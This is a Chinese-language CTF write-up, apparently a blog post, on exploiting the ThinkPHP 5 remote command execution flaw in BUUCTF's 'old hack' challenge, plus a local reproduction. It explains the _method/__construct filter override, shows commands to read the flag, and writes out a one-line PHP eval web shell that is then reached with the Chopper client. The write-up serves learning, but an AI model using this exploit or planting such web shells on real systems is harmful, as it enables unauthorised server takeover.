BUUCTF old hack


1.打开页面,获取提示信息

打开页面,页面提示powered by Thinkphp。说明可能和thinkphp框架有关。也确实如此,这里用到了thinkphp5的远程命令执行漏洞。在用这个thinkphp的漏洞前,先了解一下有关thinkphp的一些基础知识:

在这里插入图片描述

thinkphp是一个用来简化企业应用开发和敏捷WEB应用的php框架。thinkphp包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件。简而言之,thinkphp是一个用来简化php网站开发的框架,让开发者更注重于业务逻辑。


2.thinkphp5远程命令执行漏洞

漏洞描述:由于thinkphp对框架中的核心Requests类的方法method方法提供了表单请求伪造,该功能利用 $_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

使用kali查找一下漏洞的利用方法:

1.searchsploit thinkphp 查找thinkphp相关的漏洞

在这里插入图片描述

2.cd usr/share/exploitdb/exploits/php/webapp/46150.txt 查看漏洞的利用方法

在这里插入图片描述

3.post传参,发现页面提示flag在路径下存放
在这里插入图片描述

在这里插入图片描述

4.把ls /换成cat /flag,获得最后的flag

5.提交flag

在这里插入图片描述


3.漏洞复现

下载thinkphp5.0.22: http://www.thinkphp.cn/donate/download/id/1260.html

通过phpstudy搭建环境,解压文件到WWW目录下

访问:localhost/thinkphp5.0.22/public

post传参 这里可以换成echo 233测试一下

在这里插入图片描述

写入shell 换成 echo ^<?php @eval($_POST[cmd]);?^> >shell.php

可以看到成功写入shell,用菜刀连接试试,能连接,说明写入shell成功了。

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值